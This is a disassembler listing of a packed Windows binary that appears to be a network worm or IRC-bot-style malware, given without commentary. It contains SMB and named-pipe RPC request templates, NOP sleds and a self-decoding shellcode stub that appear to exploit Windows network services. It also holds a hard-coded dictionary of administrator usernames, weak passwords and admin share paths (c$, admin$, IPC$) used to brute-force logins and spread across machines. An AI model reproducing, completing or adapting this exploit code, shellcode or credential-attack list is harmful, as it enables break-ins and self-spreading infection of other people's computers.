dword_415BB8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+76o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40C135+9Do
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_415C1C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+102o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_415C88	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+13Bo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_415D2C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+36Eo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_415DAC	dd offset loc_401494+1	; DATA XREF: sub_40C135+39Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_415E40	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+23Eo
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_415EAC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+269o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_415F20	dd 0			; DATA XREF: sub_40C135+29Ao
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_415FA8	proc near		; DATA XREF: sub_40C135+35Bo
		sub	sp, 71Ch
		jmp	esp
sub_415FA8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_415FB0	dd 1004600h, 7515123Ch,	751C123Ch ; DATA XREF: sub_40C135+348o
; ---------------------------------------------------------------------------

loc_415FBC:				; DATA XREF: sub_40C135+1C1o
		jmp	short loc_415FC4
; ---------------------------------------------------------------------------
		dw 6EBh
		dd 0
; ---------------------------------------------------------------------------

loc_415FC4:				; CODE XREF: .packed:loc_415FBCj
					; DATA XREF: .packed:0040C6DEo	...
		mov	edx, 5042B68Ah
		push	ds

loc_415FCA:				; DATA XREF: .packed:0040C692o
		rol	byte ptr [edx+12h], 1
		add	[eax], eax
		xor	al, 0
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
dword_415FF4	dd 34EEA51Bh, 0		; DATA XREF: .packed:0040C6BAo
dword_415FFC	dd 12400h, 0		; DATA XREF: .packed:0040C774o
a3333		db '3333',0             ; DATA XREF: .packed:0040C714o
		align 4
aCccc		db 'CCCC',0             ; DATA XREF: .packed:0040C6CCo
		align 4
dword_416014	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .packed:0040C7ECo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4160A0	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .packed:0040C824o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
dword_41614C	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .packed:0040C852o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41622C	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: .packed:0040C885o
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41626C	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: .packed:0040C8BEo
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_4162D0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .packed:0040C8ECo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_416374	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: .packed:0040C937o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_4163FC	dd 0			; DATA XREF: .packed:0040C9B0o
		dd 0D7h, 1, 0
		dd 1, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 10h
dword_416420	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: .packed:0040CA10o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_4164A8	dd 0			; DATA XREF: .packed:0040CA7Ao
		dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_4164CC	dd 20804h, 0		; DATA XREF: .packed:0040C982o
					; .packed:0040CA5Bo
dword_4164D4	dd 2080Ah, 0		; DATA XREF: .packed:0040C977o
dword_4164DC	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+4Eo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_416568	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+9Do
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 0
dword_416614	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+D5o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4166F4	dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+11Do
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
dword_416728	dd 3F3F0000h, 3F3F3Fh, 0 ; DATA	XREF: sub_40CAA1+15Fo
dword_416734	dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+1DAo
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
dword_4167A0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+21Fo
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_416844	dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+280o
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_41690E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_416916
; ---------------------------------------------------------------------------

loc_41690E:				; CODE XREF: .packed:00416904j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah

loc_416916:				; CODE XREF: .packed:0041690Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_416965
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------

loc_416965:				; CODE XREF: .packed:0041695Bj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
dword_416978	dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1:loc_40CD28o
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_416A42
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_416A4A
; ---------------------------------------------------------------------------

loc_416A42:				; CODE XREF: .packed:00416A38j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah

loc_416A4A:				; CODE XREF: .packed:00416A40j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_416ABA
		add	[ecx], eax
		jmp	short loc_416A8A
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------

loc_416A8A:				; CODE XREF: .packed:00416A80j
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_416A99
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------

loc_416A99:				; CODE XREF: .packed:00416A8Fj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
dword_416AAC	dd 7E0h, 4, 0		; DATA XREF: sub_40CAA1+2B9o
		db 2 dup(0)
word_416ABA	dw 0			; CODE XREF: .packed:00416A7Cj
		align 10h
dword_416AC0	dd 0D0EC8166h, 7	; DATA XREF: sub_40CEBE+D9o
dword_416AC8	dd 129F74h, 0		; DATA XREF: sub_40CEBE+380o
dword_416AD0	dd 127D78h, 0		; DATA XREF: sub_40CEBE+3E5o

; =============== S U B	R O U T	I N E =======================================



sub_416AD8	proc near		; DATA XREF: sub_40CEBE+10Bo

; FUNCTION CHUNK AT 00416ADE SIZE 00000049 BYTES

		pusha
		jmp	short loc_416ADE
sub_416AD8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ADB	proc near		; CODE XREF: sub_416AD8:loc_416ADEp
		pop	ebx
		push	ebx
		retn
sub_416ADB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416AD8

loc_416ADE:				; CODE XREF: sub_416AD8+1j
		call	sub_416ADB
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx

loc_416AEB:				; CODE XREF: sub_416AD8+3Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_416AEB
		popa

loc_416B17:				; DATA XREF: sub_40CEBE+EAr
		add	[ebx+31h], al

loc_416B1A:				; DATA XREF: sub_40CEBE+E4r
		mov	ebp, 7FC77h

loc_416B1F:				; DATA XREF: sub_40CEBE:loc_40D1D9r
					; sub_40CEBE+348r ...
		add	[ecx], al
		inc	ebx

loc_416B22:				; CODE XREF: sub_416AD8+4Cj
		xor	eax, eax
		ja	short loc_416B22
		pop	es
; END OF FUNCTION CHUNK	FOR sub_416AD8
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h
dword_416B38	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40CEBE+2CDo
dword_416B4C	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_40CEBE+29Eo
dword_416B60	dd 65706970h, 736B775Ch, 637673h ; DATA	XREF: sub_40CEBE+236o
dword_416B6C	dd 24637069h, 0		; DATA XREF: sub_40CEBE+1DFo
dword_416B74	dd 73255C5Ch, 5Ch	; DATA XREF: sub_40CEBE+1CCo
					; sub_40CEBE+223o
dword_416B7C	dd 2Eh			; DATA XREF: sub_40CEBE+1AFo
dword_416B80	dd 73255C5Ch, 0		; DATA XREF: sub_40CEBE+18Fo
dword_416B88	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D42D+ADo
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_416BD4	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D42D+F2o
; ---------------------------------------------------------------------------

loc_416BF0:				; DATA XREF: sub_40D42D+124o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_416C04	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D42D+14Do
a5000		db '5000',0             ; DATA XREF: sub_40D42D+28o
		align 10h
byte_416C20	db 90h			; DATA XREF: sub_40D5A8+1Er
					; sub_40D5A8+49r ...
dword_416C21	dd 0			; DATA XREF: sub_40D5A8+77r
		db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aGod		; "god"
		dd offset aDomain	; "domain"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aData		; "data"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aMain		; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aOwner	; "owner"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC_1		; "c$"
		dd offset aD		; "d$"
		dd offset aE_0		; "e$"
		dd offset aCShared	; "c$\\shared"
		dd offset aDShared	; "d$\\shared"
		dd offset aEShared	; "e$\\shared"
		dd offset aCWinnt	; "c$\\winnt"
		dd offset aCWindows	; "c$\\windows"
		dd offset aCWinntSystem32 ; "c$\\winnt\\system32"
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
		dd offset aAdminSystem32 ; "Admin$\\system32"
		dd offset aAdmin_0	; "admin$"
		dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"...
		dd offset aPrint	; "print$"
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_4191D0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aA_1		; "a"
		dd offset aAb		; "ab"
		dd offset aAbc		; "abc"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aDba		; "dba"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset aWork		; "work"
		dd offset aDeadline	; "deadline"
		dd offset aPayday	; "payday"
		dd offset aSecret	; "secret"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset aTest		; "test"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aMoney	; "money"
		dd offset aLove		; "love"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp_0		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aOwner	; "owner"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0          ; DATA XREF: .packed:0041707Co
aBlank		db 'blank',0            ; DATA XREF: .packed:00417078o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .packed:0041706Co
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .packed:00417068o
		align 10h
aHp		db 'hp',0               ; DATA XREF: .packed:00417064o
		align 4
aOrainstall	db 'orainstall',0       ; DATA XREF: .packed:00417048o
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .packed:00417044o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .packed:00417038o
		align 4
aDb2		db 'db2',0              ; DATA XREF: .packed:00417034o
aDb1		db 'db1',0              ; DATA XREF: .packed:00417030o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .packed:0041702Co
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .packed:00417024o
		align 4
